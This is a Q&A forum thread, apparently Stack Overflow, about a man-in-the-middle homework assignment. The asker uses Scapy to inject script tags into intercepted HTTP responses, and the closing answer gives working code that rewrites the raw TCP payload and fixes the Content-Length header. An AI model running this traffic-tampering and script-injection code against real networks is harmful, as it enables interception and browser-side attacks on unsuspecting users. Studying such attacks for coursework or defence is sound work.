Reputation: 147
I'm doing a MitM attack homework. It requires me to change the HTTP payload (adding script tags to the HTML content). I was able to inject the script but I found the content received on the user's side is always cut short. I then realized that the Content-Length field in the HTTP header wasn't increased to accommodate the longer HTTP data.
I tried to set the Content-Length header this way. new_packet.show()
prints fine, showing the updated Content-Length. But when I checked on the client side it still sees the original Content-Length as if nothing was changed.
res: HTTPResponse = tcp[HTTPResponse]
res.fields["Content_Length"] = content_len
new_packet = IP(src=ip.src, dst=ip.dst) / tcp
new_packet.show()
send(new_packet)
I checked other related answers here and on scapy's github issues page but the discussions seem to be very outdated. Has anyone successfully changed the header fields this way? Am I supposed to use another method to modify header fields?
Upvotes: 1
Views: 43
Reputation: 5421
You could have done
res.Content_Length = None
To have Scapy recalculate it for you automatically.
Upvotes: 0
Reputation: 147
Ended up directly modifying TCP's Raw layer. It seems that scapy would try to parse the header fields into an HTTPResponse object if you access it though res = packet[HTTPResponse]
and leave only the HTTP body in the Raw layer load. And it also seems that if I modify the parsed header fields directly (e.g. res.fields["Content_Length"] = "123"
), it's not effective. But if I modify the unparsed TCP Raw layer directly, it works. Here is what I did to inject a script tag and also modify the "Content-Length" HTTP header:
old_load: str = tcp[Raw].load.decode()
[old_headers, old_body] = old_load.split("\r\n\r\n")
new_body = old_body.split("</body>")
new_body.insert(-1, f"<script>{script}</script>")
new_body = "".join(new_body)
new_headers: str = old_headers.replace(f"Content-Length: {len(old_body)}", f"Content-Length: {len(new_body)}")
new_load = "\r\n\r\n".join([new_headers, new_body])
tcp[Raw].load = new_load
Upvotes: 0